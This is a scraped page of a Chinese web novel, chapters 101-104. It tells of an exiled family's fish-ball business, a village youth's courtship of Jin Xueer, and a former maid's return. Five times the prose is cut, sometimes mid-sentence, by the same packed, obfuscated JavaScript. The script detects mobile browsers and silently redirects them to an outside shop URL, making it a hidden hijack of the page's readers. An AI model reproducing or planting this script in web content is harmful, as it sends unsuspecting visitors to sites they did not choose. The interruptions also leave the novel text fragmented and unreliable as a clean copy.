;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262369|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海潮主动帮忙道:“这些鱼,我知道该怎么处理的!” “不用,我跟你也没那么熟。” 靳砚之抿了抿唇道:“你赶紧回去吧。” “冷焦,你快说话啊,我们怎么能什么都不干呢?” 庄海潮拉住一起卖白甘水的冷焦。 “嗯,奶奶说,要帮忙。” 冷焦的话少的很。 “靳砚之,你们就别客气了。” 庄海潮厚着脸皮留下了。 程七七带着女儿回房,看到靳砚之买的那一包满当当的枣糕时,跟靳岁安说了说,很快,靳岁安就拿着枣糕,太奶奶一块,奶奶一块的分了。 程七七她站在窗户边,暗自观察着厚脸皮留下的庄海潮,这人有什么目的? 很快,程七七就发现目的了。 靳雪儿回来了,起初,程七七没在意,可当她发现,庄海潮一直盯着靳雪儿看的时候,那眼睛亮晶晶的时,程七七回过神来了。 程七七回想起回来路上,庄海潮和靳砚之两个人之间的奇怪气氛,瞬间就恍然大悟了,难怪她觉得怪怪的呢。 搞清楚之后,程七七就放心了,将他们处理好的杂鱼,开始去骨做鱼丸。 柳素仪几个人绣活,肯定是不能干的。 程七七带着温氏、何氏一起就做鱼丸了。 温氏在糖坊跟程七七也熟悉,在做吃食方面,温氏也是十分有天赋,只不过几句话,温氏便已经将鱼丸做出来了。 鱼丸煮了出来,味道倒是跟她想象中差不多。 “不错。” 程七七连连点头道:“这拿去卖,肯定能挣钱。” “嫂子,肯定能,鱼都快吃吐了,这鱼丸,好吃!” 靳砚之一边吃一边夸赞着,拿着两碗鱼丸,一碗给庄海潮,一碗给冷焦,算是他们帮忙的谢礼了。 “砚之,我有话跟你说。” 庄海潮要离开的时候,神神秘秘的拉着靳砚之道:“我知道你的秘密!” “……” 靳砚之送了他一个大白眼! “我知道,你喜欢你嫂子!” 庄海潮小声的说着,一句话,瞬间让靳砚之僵住了身子站在原地。 第101章 垂涎我妹妹美色 “闭嘴!” 靳砚之反应过来之后,捂住庄海潮的嘴,飞快的朝着程七七的窗户看了一眼,然后生拉硬拽的就把庄海潮给拉走了! 程七七:“……” 看来,靳砚之对庄海潮很不满意啊,这是要拉走去揍人了? 大树下,靳砚之怒目相视:“庄海潮,你能不能别胡说八道,玷污了我嫂子的名声?” “我说错了吗?你不喜欢你嫂子?” 庄海潮拍了拍他身上的衣服,捂着被打的肩膀,这靳砚之的力气是一天比一天大,他没好气的说道:“再说了,你嫂子是寡妇,弟娶寡嫂,不是很正常?” “……” 靳砚之拎起拳头就朝着庄海潮砸了过去。 “喂,靳砚之,你脑子有病吧!” 庄海潮猝不及防下,被他一拳头打到了脸,气的他脸都黑了,他咬牙道:“大家都是男人,你那点心思,我还能不清楚?” “闭嘴!” 靳砚之就像是发了狂一样,一拳一拳的砸了过去! 许久,两个人气喘吁吁,累的连一根手指头都不想动了,庄海潮侧头,和靳砚之对视道:“靳砚之,你看,我给你当妹夫,不是挺好吗?” “滚。” 靳砚之一轱辘坐了起来,看着庄海潮,一脸嫌弃。 “虽然我出身不如你们,但我身家清白啊!” 庄海潮也跟着坐了起来。 “我妹妹嫁给你,就能脱罪籍了?还是说,再碰上像胡大人那样的事情,你就能保护我妹妹了?” 靳砚之不答反问,没等他开口,继续道:“还有,村里人以后会说你,娶个流放犯当媳妇……” “我不介意。” 庄海潮连忙开口。 “你现在垂涎我妹妹的美色,不介意,但是,等到往后日子过的长久了呢?” 靳砚之撇了撇嘴道:“到那时,你就会想,你明明可以娶一个良家的姑娘,为什么要娶一个犯人呢?” 他以前喝花酒,这样的人可见识的多了,想要得到这个女人的时候,那是说的天花乱坠的,恨不得将小命都送过去! 但,日子长了呢? 那可是嫌弃的跟狗屎一样! 当初说好不嫌弃的,后面就拿这个当刀子,直戳人家的心窝子! 这样的男人,他碰到的多了去了。 庄海潮现在不过是上头了,脑子一热,就看着靳雪儿那张脸了! 但靳雪儿的性子? 他这个当亲哥的都嫌弃的不行,这要是嫁人了,嫁远了,那还眼不见为净,但嫁得近了,往后他们夫妻吵起来,那还是算了吧! “……” 庄海潮沉默了下来,他就喜欢看靳雪儿的脸,是他见过最好看的了! “行了,你赶紧走吧。” 靳砚之站起身就开始赶人了,避口不谈关于嫂子的事情。 “靳砚之。” 庄海潮道:“你妹妹我不会放弃的,不过,你也别以为不承认就行了,你知道村里有多少人打你嫂子的主意吗?” “什么?” 靳砚之回头,目光如炬如刀。 “你嫂子虽然是寡妇,但这么能挣钱,长的也好看,以前生的又是女儿,村里不少人打你嫂子的主意。” 庄海潮看着他道:“你们靳家男丁多,又有护卫偷偷护着,这才没人敢公开,但,时间久了……肯定会有人想要打你嫂子的主意的!” 咔! 靳砚之的手握紧成拳,关节吱吱作响。 …… “这是杂鱼做的?能做得这么好吃?” 庄里正家,吃上了程七七做的鱼丸,嘴里的夸赞就一直没有停过。 都说靠山吃山,靠海吃海的,杂鱼之类的,他们吃过很多,但,吃得多了,这鱼做出花来,都不怎么好吃了! 今年,跟着靳家人一起吃上了酸菜鱼,还是第一次发现,这酸菜煮鱼,还真香! 特别是程七七搞的酸菜,和他们做的咸的不行的酸菜相比,那风味,就是不一样。 “你说,这个能不能卖钱?做起来难不?” 田氏激动的询问着。 … 冷家。 冷焦带着鱼丸回家,得到了同样的问话:“鱼丸能赚钱吗?” 很快,冷家,庄家就找上门了。 刚吃完饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262370|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带着女儿在院子里消化的程七七看到他们,一点都不意外,鱼丸的味道,她相信,大家会喜欢的! 忠勇侯更是不意外了,这么好吃的东西,自然是得卖钱了! “鱼丸是我婶子做出来的,你们可以问她。” 程七七没有将活揽在身上。 温氏一听,连忙道:“七七,要不是你说,我也不会做。” “三婶,这活有点累,需要天不亮不开始做鱼丸,然后运到县里去卖,现在还算好,等到天气暖和了,这鱼丸也坏的快,只怕现做现卖,赚的钱很少。” 程七七小声的在温氏耳畔低语着:“婶子可以考虑一下,若是想做,便揽下这活,若是不想做,那便让村里人一块做。” 程七七的声音很小,温温柔柔的,温氏抬头看向程七七。 “七七,那,就大家一块做。” 温氏只考虑了一会,便有了答案。 她和靳三爷一块在糖坊干的很好,糖坊的活,她做了几个月,也已经做顺手了。 程七七在糖坊的地位很高,谁人见一句,不喊一句‘程娘子’? 她在糖坊只要好好干,肯定能挣着钱。 但卖鱼丸就不一样了,她一个人干不了,真让靳家人霸占着,收杂鱼,很多事情,都不是她一个人能做的! “三婶,你确定?” 程七七当时教的时候,是想过让温氏去做的。 “确定。” 温氏点头:“这次没有村里人通风报信,我们怎么能平平安安?” “行。” 程七七确定了温氏的想法,便跟庄冷两家说了这事,道:“鱼丸只能现做现卖,随着天气热,坏的也快,天不亮就要开始干,就挣个辛苦钱!” “没问题。” 庄冷两家对视了一眼道:“村里别的人不多,就是人多,特别是现在糖坊的人闲下来了,正好卖鱼丸。” “那,明天我们就去收杂鱼。” 庄里正立刻说着:“做鱼丸,需要手艺,那就挑几个干得好的做鱼丸,再挑几个后生去县里卖,挣的钱,大家一起分。” 程七七:“……”庄里正难怪能当上里正呢,他带着村里人致富的想法,还真好! 第102章 就想娶她 “七七,我,我万一做得不好怎么办?” “我也不会教人呐!” 庄里正和冷婆子离开之后,温氏就收到了一个重伤。 教大家做鱼丸! “三婶,你做的很好。” 程七七鼓励的说道:“就按着白天做的那样就行,最主要的是鱼刺要剔干脆,鱼丸要做的筋道。” “鱼丸生意虽小,但,利润稳定,做的时间也长,细水长流的,也是很好的!” 程七七想,要不是现在耕牛不让吃,高低她要干个牛肉丸出来! “成,我做!” 温氏对于做吃食,确实有天分,很快,温氏从糖坊包装糖,就开始带领着空闲的糖坊人员,开始做鱼丸了! 温氏之前还觉得,糖坊很好干,现在,听着大家她叫她温婶子,她的心情……莫名觉得还挺高兴的? 鱼丸生意搭着白甘水、蚝干酱一块运到县里去卖,主要卖给店铺里。 县里的铺子还是有很多的,半天的时间,就预订上十几家了! 鱼丸,煮汤、煮面,味道都是不错的! 很快,卖了鱼丸的铺子,每天订货的量,又增加了。 “三婶,很好!” 程七七听到这个消息时,松了一口气。 “娘,你做的鱼丸很好吃。” 挺着大肚子的高胜兰也跟着附和着,马上就要生了,高胜兰每天去糖坊干活,都格外的高兴,她就干点手上的活,也不累。 “慢点。” 温氏扶着高胜兰坐了下来,看着她的大肚子道:“孩子已经入盆了,你要小心,可能随时都要生,要不,糖坊就别去了?” “没事,我不是跟小晴儿一起?还有奶奶也一块去糖坊,七七也在呢,不会有事的。” 高胜兰拒绝着,她的手轻撑着腰,肚子大了,现在干什么都不方便的,她道:“娘,我在家什么都不干,我心里也不舒心。” 虽然现在没有那么苛刻,一天不去干活,就要扣一百文钱。 但,一天还是要扣三十文钱的,她现在能干,就干一天。 奶奶一把年纪了,还在糖坊里干活呢。 程七七这小半年,搞出这么多挣钱的生意,那不也是每天都忙的飞起的? 柳素仪、孟静瑶、李氏和林惠兰更是每天绣屏风,绣扇子。 特别是柳素仪,曾经的侯府主母,现在家里让她闲着,肯定能闲,但她也依旧没有闲着。 “七七,糖坊最近都在问,重山什么时候回来呢。” 高胜兰将糖坊里的消息告诉着程七七道:“白甘水、蚝干酱、蚝油这些钱,都还没有分,就是刚卖的鱼丸,钱是进账不少,也还没有分。” “里正和冷婆婆说,要等着重山回来一块分!” 靳晴儿也开口:“糖坊里现在都盼着这事,不少人还担心,重山万一拿着这么多糖,不回来了怎么办!” “对。” 高胜兰她们几个在糖坊,也不是什么都不干的,平日里什么小话啊,什么八卦,她们都听的清清楚楚的。 不管好的还是不好的,她们都会转达。 “算算日子,重山也该回来了。” 程七七对于糖坊里的人心浮动,也是清楚的,糖是赶出来了,上等的琥珀糖更是得了不少,可,钱还没回来! 晚饭上说起这事时,忠勇侯道:“这事你们不用管,我跟赵黑说过了。” 不说重山的品性信得过,就说他去蓉城,那不就是去平沙关跟儿子汇合的吗? 他觉得程七七这糖的生意做的好,以后要是做成功了,借着两地贩卖糖的生意,还能互通有无。 庄家。 “你刚说什么?” 庄里正抬起头,听到庄海潮的话,眼珠子都快瞪出来了! “我想娶靳雪儿。” 庄海潮瑟缩着往后退了一步,但还是话语坚定的说着。 “你?” 庄里正看了他一眼。 田氏直接上前揪着他的耳朵问:“这么多姑娘你不要,你要娶一个犯人?” 靳家帮村里人挣钱归挣钱,但靳雪儿,总归是流放的犯人! “你就不怕被别人笑话吗?” 田氏气的抄起一旁的鸡毛掸子,就朝着庄海潮的屁股上招呼了过去。 “娘,你,你轻点。” 庄海潮一边摸着被打的地方喊叫着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262371|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边闪躲着。 被挨了几鸡毛掸子,田氏将庄海潮从头骂到尾,最后气呼呼的坐了下来:“老头子,你怎么看?” 庄里正抬头,看着梗着脖子的庄海潮问:“我记得,靳雪儿那姑娘,一直躲着你?” “她躲着我,那是为了名声呢,不耽误我娶她。” 庄海潮说的那叫一个理直气壮! “呵。” 庄里正冷笑着:“人家姑娘出身高贵,你确定人家愿意嫁你?” 靳家人这会虽然流放着,但他瞅着靳家人,肯定不会一直呆在这流放地的! “我是良民,我能护着她。” 庄海潮想起靳砚之的话,他的声音都低了几分,带着不确定说:“爹,隔壁村都有娶了流放犯人的,我怎么就不能娶了?” “我不怕别人说。” 庄海潮的背慢慢挺直了,在见到靳雪儿到村子里的那一刻,他就想娶她! “我就说,最近靳砚之怎么一直跟不对付。” 庄里正这会后知后觉的反应过来,他们都去县里卖东西,平日里都是几个板车一块推着去县里的,靳砚之和庄海潮两个人不对付。 他只当以前的少爷,性子不好相处。 现在看来,怕是庄海潮根本就没入人家的眼呢。 “爹,你帮我,我只想娶她。” 庄海潮恳求的看着庄里正。 庄里正眼睛瞪的滚圆:“姑娘这么多,就不能换别人?” “不能。” 庄海潮摇头。 庄里正:“……” …… “大哥,赶到归化里村,都傍晚了,要不,我们在安南州歇一晚?” 重山赶着马车,看到那熟悉的山峰,心情都激动了不少,这两个月,他可算是把糖全部都卖出去,还带了不少物资回来! 只不过,他们到安南州晚,走山路十八弯去归化里村,有点难。 “不必,全速赶路。” 靳墨之眺望着归化里村的方向,如墨的眸子,似有化不开的情绪。 “重山哥,我们今晚就能到吗?” 马车里,一个女声传来。 第103章 不如当姑子 “素仪妹子,你这花绣的可真好看!” 庄里正媳妇田氏送着自家树上刚成熟的枇杷道:“自家种的树,枇杷味道不错。” “谢谢田嫂子。” 柳素仪来得时间早了,也开始习惯了跟村里人打交道的,她道:“不如田嫂子,什么都会干,我也就只会绣点花了。” 柳素仪自嘲的说着,然后就开始夸田氏了,哐哐一顿夸,把田氏夸的飘飘然了,笑容都变成一朵花了。 “不如你们,这绣的花啊,都漂亮的不行。” 田氏嘴角的笑容都压不住,看着柳素仪那柔弱的身子,再看看她手里绣的花,这要放到绣楼里,也能挣钱的! 互相夸赞完,田氏若有似无地将话题往靳雪儿身上引,道:“你家雪儿及笄了吧?说亲了吗?” “……” 柳素仪听着这话,瞬间就从闲聊状态中,脑子中警钟想起了,她笑着说:“雪儿爹就她这么一个女儿,这亲事啊,雪儿爹做主。” 她才没兴趣做主靳雪儿的事情呢。 “我就好奇问问。” 田氏眼眸一转,知道柳素仪不想说这个,于是果断的岔开了话题! 田氏离开的时候,还有些失望,柳素仪不谈,难道要跟林惠兰这个姨娘谈? 归化里村,就没有谁家养了妾室的,县里的富绅,大户人家倒是有,可,他们庄户人家,跟姨娘谈? 田氏还是不想谈的,她心事重重的,自家儿子就像是被灌了**汤一样,非要娶靳雪儿,她必须得去探探口风! 这要是存心攀附,那往后娶进门,那岂不是把家里搅得乱七八糟的? “雪儿?靳雪儿?” 田氏刚出门没几步,看到靳雪儿和林惠兰的时候,眼睛瞬间就亮了,盯着靳雪儿刻意抹黑的脸,但那五官,那身段,就摆在那里。 难怪,自家儿子非要娶她! 这京都来的姑娘,水灵的很不说,那双眼睛怯生生的,似能勾人一样! “庄家嫂子?” 林惠兰是认得田氏的,庄里正的媳妇,家里家外一把手,干啥活都利索的很! “嗳,惠兰妹子,你跟雪儿这是刚刚从洗衣服回来呢?” 田氏看着靳雪儿拎着的水桶,小姑娘一看就是没怎么干过这活,这衣服沾了水,这么重,就该挑着嘛,这提着,又费力,又沉的! “是。” 林惠兰点头,看着热情的田氏,还有一点不适应呢。 很快,林惠兰就发现不对劲了,田氏盯着靳雪儿的眼神不对,特别是田氏问她多大子,什么时候及笄,在京都怎么没有婚约之类的…… “可惜了,要是嫁人了,那会,也不用来我们这地方吃苦了。” 田氏似惋惜的说着,道:“不过也没事,我们村子里挺好,靠山又靠海的,这日子还是不错的。” “我们村子里的后生都不错,个个都是干活的一把好手!” 田氏的话,让林惠兰觉察着不对劲了,她眼眸一动,似叹气的说:“我们现在是罪籍,耽误我们雪儿成亲了!” “罪籍,也管不了嫁女儿啊!” 田氏立刻就说起隔壁洪溪村周家,也娶了流放犯人的事情。 “那,岂不是嫁人之后,就能脱籍?” 林惠兰的眼眸一亮。 “能。” 田氏点头:“入了夫家的户籍就行。”只不过,变成了良民,泥腿子! 田氏下意识的看了一眼一旁亭亭玉立的靳雪儿,这么漂亮的姑娘,要不是被流放,肯定轮不上海潮那臭小子。 “这……” 林惠兰正要开口,一旁的靳雪儿沉着脸打断道:“小娘,我不嫁人!” “雪儿,你糊涂了?哪有姑娘家,不嫁人的?” 林惠兰下意识的蹙起了眉头。 “爹和奶奶都在这里受苦,我嫁出去,算什么?” 靳雪儿抿着唇,面对着田氏,没有一点的讨好,她道:“我就算是去当姑子,也不嫁人!” “我要跟靳家人,共患难!” 话落,靳雪儿大步就跑回了房间,她这话,是说田氏听的,也是说给一心想让她攀高枝的林惠兰听的! 从前在府里,她跟着小娘一起,觉得夫人过分,处处对他们不好! 流放之后,靳雪儿才发现,夫人从来没有过分,反而是小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262372|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘处处挑衅夫人。 小娘闹来闹去的,搞得她们一块分家吃饭了,林惠兰自己做的不好吃,就让她和哥哥做,明明她自己做的也不好吃! 但,不耽误林惠兰嫌弃她和哥哥做的不好吃! 上次胡大人的事情,更让靳雪儿看得清楚,小娘,靠不住! 她吓的高烧了两天,躺了两天,林惠兰给她煎个药都弄错了,幸好,夫人发现了,否则,她小命都不一定有了! 林惠兰也就嘴上说的好听:什么小娘担心你,什么疼在小娘心,什么以后给她穿最漂亮的衣服,天天吃肉! 但,她生病了,从没想着给她做吃食。 她是真的怕了,怕再次发生胡大人这样的事情,万一,强抢着她去当姨娘怎么办? 靳雪儿确实考虑过,嫁给庄海潮。 但是,现在,靳雪儿不想嫁人了! 靳砚之那一番话,让靳雪儿的脑子似乎一下子清醒了。 就算现在人家不嫌弃她,以后呢? “雪儿。” 林惠兰看着靳雪儿撂下话就跑开了,再看着田氏那错愕的眼神,歉意的一笑,然后就追了过去。 田氏错愕的看着靳雪儿消失的背影,想:海潮这臭小子,扁担挑子一头热? 先前海潮在家里说出非靳雪儿不娶的时候,她都想过,是不是小姑娘吃不得苦,盯上庄海潮了! 现在一看……得,庄海潮这小子就是见色起意! 屋子里,林惠兰一进屋就朝着靳雪儿开骂:“靳雪儿,你是不是想毁了自己?不嫁人当姑子?你是不是还没睡醒?还是苦还没吃够?” “嫁人就不用吃苦了?” 靳雪儿抿着唇,被林惠兰骂,她早就有准备了,她转身就出去干活了,道:“嫂子,我来帮你!” 与其跟着不靠谱的小娘,不如跟着程七七,她干什么都能挣钱,厉害的让她崇拜! “那你把这菜切了。” 程七七没说什么,而是起身,将手里的刀给了靳雪儿,酸菜卖的很好,她觉得以前吃的积菜,梅干菜,也是可以试一试的! 程七七站在屋檐下,突然,一个惊慌的声音响起:“小心!” 第104章 开会,分钱 一道身影朝着程七七飞奔过去,程七七都没反应过来,就感觉眼前一黑,下一刻,她就看到了屋檐上,断裂的房梁砸了下来。 正好砸在她刚刚站的位置! “嫂子,你没事吧?” 靳砚之着急的询问着。 程七七惊魂未定,看了一眼靳砚之用力抓着她手臂的手,骨节分明的大手,衬的她的胳膊更加的细小。 “我……” 靳砚之红着脸,立刻松开了手。 “还好哥哥把你拉开了,不然,你就被砸到了!” 靳雪儿也担心的看着程七七。 “砚之,你没事吧?” 林惠兰激动的跑了过来,一把抓着靳砚之上上下下的打量着,那夸张的声音,又尖又细又高的语调,把所有人都吓了一跳! “小娘,我没事。” 靳砚之岔开话题道:“这房梁太旧了,之前修屋顶的时候,没换新的,太危险了,明天就找人换掉。” 靳砚之搬起掉下的房梁,琢磨着,一定要赶紧换新的屋顶! 如今他跟着靳礼之一起去卖酸菜、卖酸菜粥,每天都能挣个一千多文钱! 日积月累的,也是一笔不菲的钱! 糖坊卖白甘水、卖蚝干酱、卖甘蔗醋、卖鱼丸,还是靳砚之带着庄海潮一块去卖的呢,靳砚之以前就是纨绔,现在就是脸皮厚! 人家不愿意买,靳砚之就主动送给人家尝一尝,凭着他的厚脸皮,也让他们的货,在县里卖的那叫一个紧俏! 林惠兰盯着靳砚之的背影,刚刚他慌张的一幕,让林惠兰心慌。 这糟心的事情,怎么一桩接着一桩? 靳雪儿不想嫁人。 靳砚之居然看上了寡嫂? 院子外,靳墨之骑着马,正好将这一幕看在了眼里,他如墨的瞳孔微黯。 “重山哥,这,就是世子妃住的地方吗?” 一个女声撩开帘子,看到蚝壳糊的墙做出来的房,她的眼眶都红了,世子妃居然住这么破旧的房子! “是。” 重山应声。 程七七似听到了熟悉的声音,她的眉宇微蹙,快步朝着院门走出去,看到马车上,撩着帘子要下车的女子时,程七七只觉得出现了幻觉! “世子妃!” 春桃从马车上直接跳了下来,朝着程七七飞奔了过去:“世子妃,我找你找的好苦啊!” 春桃呜咽的哭着,想要跪下来,却被程七七死死的抱住。 “春桃,你怎么来了?” 程七七震惊的看着抱着她哭的人。 她明明拿到了**契,如今也是自由身了! 流放之初,程七七给的银钱,这傻丫头,又全部买了物资还回来了,程七七只好偷偷往她的衣裳里塞银票了! 小姑娘不过十五岁,离开了侯府,无依无靠的,若是再没有银钱傍身,只怕日子更加艰难。 “世子妃……” 春桃一开口,哽咽的连话都说不出来。 程七七抬手帮她擦着眼泪,一边拂着她站起来,纠正道:“现在没有什么世子妃,只有程七七。” “你如今是自由身。” 不可否认,程七七见到春桃的时候,心情是愉悦的! “世……” 春桃刚一开口,嘴就被挡住。 春桃站直了身子,抬手抹了一眼睛,抽噎道:“少夫人,没有你,就没有现在的春桃,我想要跟在你身边!” “求你,不要赶我走!” 春桃泪眼汪汪的看着程七七,差一点,她就见不到世子妃了! “你……” 程七七拒绝的话,根本一句都说不出来。 “少夫人,我们路上见着春桃的时候,她所在的商队,正被土匪给抢了,差点就被土匪给掳了去。” 重山开口,想着当时的情形,都有些后怕,这小丫鬟可真拼命又忠心! “你伤着哪没?” 程七七拉着春桃进屋,碰着柳素仪的时候,她还没说话,柳素仪道:“快带春桃姑娘进屋洗漱一下,锅里有热水呢!” 柳素仪见着春桃时,想到京都的城门外,是春桃带着干净的衣裳鞋子,还有粮食让她们平安的度过了一段艰难的日子! “谢谢夫人。” 春桃听着柳素仪的话,就要行礼,被柳素仪拒绝了,她抓着春桃的手道:“春桃姑娘,我们还要谢谢你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262373|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。” “使不得。” 春桃一听,连连摆手。 “娘,我先带她去洗漱。” 程七七看着春桃的衣裳里空荡荡的,都有些心疼,这姑娘离开侯府,过的都是些什么日子啊? 忠勇侯见着靳砚之和重山格外的高兴,他们还没坐下呢,庄里正和冷婆子都赶过来了,见着重山时,大家看着他的眼神,都恨不得将他生吞活剥了! “糖都卖完了,银子,都带回来了!” 重山拍了拍他手里的包袱,那是一个个银锭撞击的声音! “哎呦,天爷呀,你怎么把钱全部背身上!” 庄里正听着这银锭撞击的声音,就像是做贼一样,飞快的朝着四周看去! “里正放心,钱都拿回来了,只不过,大家要是想分钱,还是要换铜钱!” 重山一边说着:“我们这次到了县里,都已经很晚了,就没有去换银钱!” “不怕,大家一人剪点银子都够分了!” 庄里正笑的眼睛都眯了起来,看到重山怀里的银子,悬在心上的大石头,总算是落了地。 冷婆子也是松了一口气。 忠勇侯道:“庄大人,冷家嫂子,正好,今天晚上开大会,分钱,大家伙辛苦了这么久,也该看到钱了!” 这些日子因为重山耽误了些时间,晚了些日子回来,不管是庄里正,还是赵黑,亦或是冷家人,那都是担心的! “好好好,分钱!” 庄里正笑的眼睛都眯了起来,立刻就挨家挨户通知了,用脚趾头想,都知道今天靳家会很热闹! 天还没亮呢,外面就人头攒动的,大家都想着分钱的事情了。 “胡子叔叔!” 靳岁安戴着笠帽回来,看到靳墨之的时候,立刻高兴的扑了过去:“你送我的帽子我很喜欢,你看,我摘了很多枇杷,请你吃!” 靳岁安和靳允一起去阿榕婆婆家摘枇杷了,摘了满满一篮子枇杷回来呢! “安安……小姐。” 靳墨之主动的蹲下了身子,主动替靳岁安提起了一篮子的枇杷:“安安小姐真厉害。” 看到靳岁安的笑容时,他的心里,有一种说不出来的喜悦。